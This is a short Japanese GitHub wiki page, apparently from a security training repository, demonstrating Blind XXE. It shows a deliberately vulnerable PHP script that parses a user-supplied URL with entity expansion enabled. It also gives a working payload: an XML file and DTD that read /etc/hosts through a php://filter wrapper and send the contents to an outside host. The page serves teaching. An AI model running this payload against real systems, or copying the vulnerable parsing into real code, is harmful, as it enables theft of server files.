XXE 03 - yujitounai/helloworld GitHub Wiki

XXE-03

Blind XXE

脆弱なソースコード (PHP)

<?php
//userリストの読み込み
if (!empty($_GET['url'])) {
    $content = @file_get_contents($_GET['url']);
    $xml = new SimpleXmlElement($content, LIBXML_NOENT);
}
else {
    highlight_file(__FILE__);
}

攻撃方法

/xxe-03.php?url=http://bogus.jp/xxe3.xml

すると外部サイトに読み込まれた情報が送られる

XMLファイルの中身

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
<!ENTITY % dtd SYSTEM "http://bogus.jp/xxe2.dtd">
%dtd;
%send;
]]>

dtdファイルの中身

<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://burpcllaborator/?%remote;'>">
%all;